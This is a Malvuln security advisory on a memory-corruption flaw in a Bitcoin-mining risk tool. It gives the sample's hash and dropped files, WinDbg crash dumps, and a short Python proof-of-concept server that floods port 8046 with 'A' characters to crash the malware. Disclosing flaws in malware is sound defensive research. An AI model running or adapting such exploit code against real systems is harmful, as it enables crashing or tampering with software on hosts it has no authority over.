Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: http://malvuln.com/advisory/b85ae73dbbfff1d3b90cb7c78356f2a3.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HEUR.RISKTOOL.WIN32.BITMINER.GEN Vulnerability: Remote Memory Corruption Description: Null pointer write access violation on server response to an HTTP request to TCP port 8046. The program also connects to port 80 and respawns upon crashing. Type: PE32 MD5: b85ae73dbbfff1d3b90cb7c78356f2a3 Vuln ID: MVID-2021-0009 Dropped files: SQLAGENTSI.exe, AutoRunApp.vbs, VBS.vbs ASLR: False Safe SEH: True Disclosure: 01/01/2021 Memory Dump: 0:012> .ecxr eax=0e4e3beb ebx=05d8b4c0 ecx=74d07084 edx=04370850 esi=05db2b00 edi=05d8b028 eip=05d8b4c2 esp=05c3ff0c ebp=05c3ff3c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 05d8b4c2 0000 add byte ptr [eax],al ds:002b:0e4e3beb=?? ExceptionAddress: 05d8b4c2 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 0e4e3beb Attempt to write to address 0e4e3beb 0:012> !address 0e4e3beb Usage: Free Base Address: 0a860000 End Address: 5a2c0000 Region Size: 4fa60000 Type: 00000000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS The specimen has also thrown exploitable Guard page violation. A page of memory that marks the end of a data structure, such as a stack or an array, has been accessed. ExceptionAddress: 2a8dd862 ExceptionCode: 80000001 (Guard page violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 33036b23 0:012> .ecxr eax=33036b23 ebx=2a8dd860 ecx=74d07084 edx=044c0850 esi=2a921548 edi=2a8ddf60 eip=2a8dd862 esp=05c0ff0c ebp=05c0ff3c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 2a8dd862 0000 add byte ptr [eax],al ds:002b:33036b23=?? Exploit/PoC: import socket port=8046 payload="A"*256 max_flood=666 c=0 def doit(): global c,payload,port s = socket.socket() try: host = '' s.bind((host, port)) s.listen(5) print('HEUR.RiskTool.Win32.BitMiner.gen / Remote Memory Corruption') print('MD5: b85ae73dbbfff1d3b90cb7c78356f2a3') print("By malvuln") while c < max_flood: c+=1 conn, addr = s.accept() conn.send(payload+'\r\n') conn.close() if c==max_flood: break except Exception as e: pass if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).